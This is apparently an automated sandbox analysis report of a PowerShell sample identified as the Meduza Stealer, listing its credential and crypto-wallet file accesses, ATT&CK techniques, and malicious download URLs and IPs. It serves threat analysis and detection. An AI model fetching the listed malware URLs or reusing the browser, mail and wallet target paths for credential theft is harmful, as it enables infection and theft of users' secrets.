Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\Temp\xdnfl52f.civ.exe

Key value queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation TimeZoneKeyName

Jump to behavior

Source: C:\Windows\Temp\Launcher.exe

Code function: 3_2_0067FCE5 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

3_2_0067FCE5

Source: C:\Windows\Temp\Launcher.exe

Code function: 3_2_0067C9DB LookupAccountNameW,GetLastError,malloc,LookupAccountNameW,GetLastError,free,

3_2_0067C9DB

Source: C:\Windows\Temp\xdnfl52f.civ.exe

Code function: 10_2_00007FF75A712E3C _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

10_2_00007FF75A712E3C

Source: C:\Windows\Temp\Launcher.exe

Code function: 3_2_0066B4F0 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z,__EH_prolog3,GetVersionExW,#1202,#538,#800,#6112,#2613,#384,#2089,#1197,#520,#986,#4604,#1197,#5977,

3_2_0066B4F0

Source: C:\Windows\Temp\Launcher.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected CredGrabber

Source: Yara match

File source: Process Memory Space: xdnfl52f.civ.exe PID: 7512, type: MEMORYSTR

Yara detected Meduza Stealer

Source: Yara match	File source: 10.0.xdnfl52f.civ.exe.7ff75a670000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.xdnfl52f.civ.exe.7ff75a670000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2481667532.000001D9D06DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xdnfl52f.civ.exe PID: 7512, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Temp\xdnfl52f.civ.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: xdnfl52f.civ.exe, 0000000A.00000002.2481667532.000001D9D06DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Electrum\wallets
Source: xdnfl52f.civ.exe, 0000000A.00000002.2481667532.000001D9D06DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectronCash\config
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268212538.000001D9D075F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Ny1aaXAgMjMuMDEgKHg2NCkgWzIzLjAxXQpNb3ppbGxhIEZpcmVmb3ggKHg2NCBlbi1VUykgWzExOC4wLjFdCk1vemlsbGEgTWFpbnRlbmFuY2UgU2VydmljZSBbMTE4LjAuMV0KTWljcm9zb2Z0IE9mZmljZSBQcm9mZXNzaW9uYWwgUGx1cyAyMDE5IC0gZW4tdXMgWzE2LjAuMTY4MjcuMjAxMzBdCk1pY3Jvc29mdCBWaXN1YWwgQysrIDIwMjIgWDY0IEFkZGl0aW9uYWwgUnVudGltZSAtIDE0LjM2LjMyNTMyIFsxNC4zNi4zMjUzMl0KT2ZmaWNlIDE2IENsaWNrLXRvLVJ1biBMaWNlbnNpbmcgQ29tcG9uZW50IFsxNi4wLjE2ODI3LjIwMTMwXQpPZmZpY2UgMTYgQ2xpY2stdG8tUnVuIEV4dGVuc2liaWxpdHkgQ29tcG9uZW50IDY0LWJpdCBSZWdpc3RyYXRpb24gWzE2LjAuMTY4MjcuMjAwNTZdCkFkb2JlIEFjcm9iYXQgKDY0LWJpdCkgWzIzLjAwNi4yMDMyMF0KTWljcm9zb2Z0IFZpc3VhbCBDKysgMjAyMiBYNjQgTWluaW11bSBSdW50aW1lIC0gMTQuMzYuMzI1MzIgWzE0LjM2LjMyNTMyXQpHb29nbGUgQ2hyb21lIFsxMTcuMC41OTM4LjEzMl0KTWljcm9zb2Z0IEVkZ2UgWzExNy4wLjIwNDUuNDddCk1pY3Jvc29mdCBFZGdlIFVwZGF0ZSBbMS4zLjE3Ny4xMV0KTWljcm9zb2Z0IEVkZ2UgV2ViVmlldzIgUnVudGltZSBbMTE3LjAuMjA0NS40N10KSmF2YSBBdXRvIFVwZGF0ZXIgWzIuOC4zODEuOV0KSmF2YSA4IFVwZGF0ZSAzODEgWzguMC4zODEwLjldCk1pY3Jvc29mdCBWaXN1YWwgQysrIDIwMTUtMjAyMiBSZWRpc3RyaWJ1dGFibGUgKHg2NCkgLSAxNC4zNi4zMjUzMiBbMTQuMzYuMzI1MzIuMF0KT2ZmaWNlIDE2IENsaWNrLXRvLVJ1biBFeHRlbnNpYmlsaXR5IENvbXBvbmVudCBbMTYuMC4xNjgyNy4yMDEzMF0K
Source: xdnfl52f.civ.exe, 0000000A.00000002.2481667532.000001D9D06DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: xdnfl52f.civ.exe, 0000000A.00000002.2481667532.000001D9D06DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Ethereum\keystore
Source: powershell.exe, 00000000.00000002.2143861536.00007FF849110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Temp\xdnfl52f.civ.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\CURRENT	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\MANIFEST-000001	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOCK	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Temp\xdnfl52f.civ.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Remote Access Functionality

Yara detected CredGrabber

Source: Yara match

File source: Process Memory Space: xdnfl52f.civ.exe PID: 7512, type: MEMORYSTR

Yara detected Meduza Stealer

Source: Yara match	File source: 10.0.xdnfl52f.civ.exe.7ff75a670000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.xdnfl52f.civ.exe.7ff75a670000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2481667532.000001D9D06DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xdnfl52f.civ.exe PID: 7512, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Temp\xdnfl52f.civ.exe, type: DROPPED

Source: C:\Windows\Temp\Launcher.exe

Code function: 3_2_00674899 #1662,#540,lstrcpyW,CreateBindCtx,MkParseDisplayName,#2644,#2810,#800,lstrlenW,#2810,#2644,#800,

3_2_00674899

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	12 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	2 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Access Token Manipulation	2 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 Process Injection	1 DLL Side-Loading	NTDS	36 System Information Discovery	Distributed Component Object Model	1 Email Collection	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	131 Security Software Discovery	SSH	2 Clipboard Data	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	31 Virtualization/Sandbox Evasion	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
script.ps1	13%	Virustotal		Browse
script.ps1	8%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\Temp\xdnfl52f.civ.exe	100%	Joe Sandbox ML
C:\Windows\Temp\Launcher.exe	0%	ReversingLabs
C:\Windows\Temp\iviewers.dll	26%	ReversingLabs	Win32.Infostealer.Tinba
C:\Windows\Temp\xdnfl52f.civ.exe	83%	ReversingLabs	Win64.Trojan.MeduzaStealer

Source	Detection	Scanner	Label
http://ns.a.0/sTy	0%	Avira URL Cloud	safe
http://147.45.47.15/duschno.exe	100%	Avira URL Cloud	malware
http://ns.adobe.hotosh	0%	Avira URL Cloud	safe
http://147.45.47.15/Launcher.exe	100%	Avira URL Cloud	malware
https://api.ipify.org2O	0%	Avira URL Cloud	safe
http://147.45.47.15/iviewers.dll	100%	Avira URL Cloud	malware
http://147.45.47.15	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	104.26.12.205	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high
http://147.45.47.15/duschno.exe	true	Avira URL Cloud: malware	unknown
http://147.45.47.15/iviewers.dll	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ns.adobe.hotosh	xdnfl52f.civ.exe, 0000000A.00000003.2481151975.000001D9D30D4000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2257752558.000001D9D30C1000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2481030999.000001D9D30D0000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2481002391.000001D9D30D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.2130097419.00000219A7525000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2130097419.00000219A73E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2101966913.0000021998AA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2153214302.0000000005FDB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ns.a.0/sTy	xdnfl52f.civ.exe, 0000000A.00000003.2481151975.000001D9D30D4000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2257752558.000001D9D30C1000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2481030999.000001D9D30D0000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2481002391.000001D9D30D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.2133704244.00000000050C6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000004.00000002.2133704244.00000000050C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4e	xdnfl52f.civ.exe, 0000000A.00000003.2285551989.000001D9D3380000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.2133704244.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2159379282.0000000007AD9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000000.00000002.2101966913.0000021997FA2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarket	xdnfl52f.civ.exe, 0000000A.00000003.2285551989.000001D9D3380000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	xdnfl52f.civ.exe, 0000000A.00000003.2285841959.000001D9D3351000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000004.00000002.2153214302.0000000005FDB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000004.00000002.2153214302.0000000005FDB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	xdnfl52f.civ.exe, 0000000A.00000003.2285841959.000001D9D3351000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.microsoft.	powershell.exe, 00000000.00000002.2138728163.00000219AF7AD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	xdnfl52f.civ.exe, 0000000A.00000003.2285000101.000001D9D3350000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2285841959.000001D9D3351000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	xdnfl52f.civ.exe, 0000000A.00000003.2285000101.000001D9D32DF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.2133704244.00000000050C6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.47.15/Launcher.exe	powershell.exe, 00000000.00000002.2101966913.00000219975A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2101966913.0000021998973000.00000004.00000800.00020000.00000000.sdmp, script.ps1	false	Avira URL Cloud: malware	unknown
https://api.ipify.org2O	xdnfl52f.civ.exe, 0000000A.00000002.2481667532.000001D9D06DA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	xdnfl52f.civ.exe, 0000000A.00000003.2285841959.000001D9D3351000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	xdnfl52f.civ.exe, 0000000A.00000003.2285000101.000001D9D3350000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2285841959.000001D9D3351000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000004.00000002.2133704244.00000000050C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000004.00000002.2153214302.0000000005FDB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.2130097419.00000219A7525000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2130097419.00000219A73E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2101966913.0000021998AA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2153214302.0000000005FDB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	xdnfl52f.civ.exe, 0000000A.00000003.2285000101.000001D9D32DF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/	xdnfl52f.civ.exe, 0000000A.00000003.2285551989.000001D9D3380000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	xdnfl52f.civ.exe, 0000000A.00000003.2285841959.000001D9D3351000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lBjq	powershell.exe, 00000004.00000002.2133704244.0000000004F71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.47.15	powershell.exe, 00000000.00000002.2101966913.0000021997FA2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2101966913.0000021998973000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	xdnfl52f.civ.exe, 0000000A.00000003.2285000101.000001D9D3350000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2285841959.000001D9D3351000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000000.00000002.2101966913.0000021997371000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org	xdnfl52f.civ.exe, 0000000A.00000003.2284749758.000001D9D26E0000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2272752731.000001D9D28EB000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2274061388.000001D9D256E000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2272752731.000001D9D28F3000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2284749758.000001D9D26E8000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2284883431.000001D9D33F2000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2272752731.000001D9D286C000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2272752731.000001D9D2874000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2285000101.000001D9D32D8000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2285000101.000001D9D32D0000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000003.2284883431.000001D9D33FA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.2101966913.0000021997371000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2133704244.0000000004F71000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.26.12.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
147.45.47.15	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
193.3.19.151	unknown	Denmark	2107	ARNES-NETAcademicandResearchNetworkofSloveniaSI	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578093
Start date and time:	2024-12-19 08:51:46 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	script.ps1
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winPS1@13/15@1/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 99% Number of executed functions: 198 Number of non-executed functions: 175
Cookbook Comments:	Found application associated with file extension: .ps1

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 172.202.163.200
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 4164 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6152 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:52:38	API Interceptor	84x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.12.205	jgbC220X2U.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=text
	xKvkNk9SXR.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	GD8c7ARn8q.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	8AbMCL2dxM.exe	Get hash	malicious	RCRU64, TrojanRansom	Browse	api.ipify.org/
	Simple2.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Ransomware Mallox.exe	Get hash	malicious	Targeted Ransomware	Browse	api.ipify.org/
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	6706e721f2c06.exe	Get hash	malicious	Remcos	Browse	api.ipify.org/
	perfcc.elf	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
147.45.47.15	script.hta	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	147.45.47.15/duschno.exe
193.3.19.151	script.hta	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	duschno.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	1Sj5F6P4nv.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	5LEXIucyEP.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	44qLDKzsfO.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	gP5rh6fa0S.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	urkOkB0BdX.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	8F0oMWUhg7.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	script.hta	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	WdlA0C4PkO.exe	Get hash	malicious	Go Stealer, Skuld Stealer	Browse	104.26.12.205
	cali.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Awb 4586109146.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
	PO 0309494059506060609696007.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.12.205
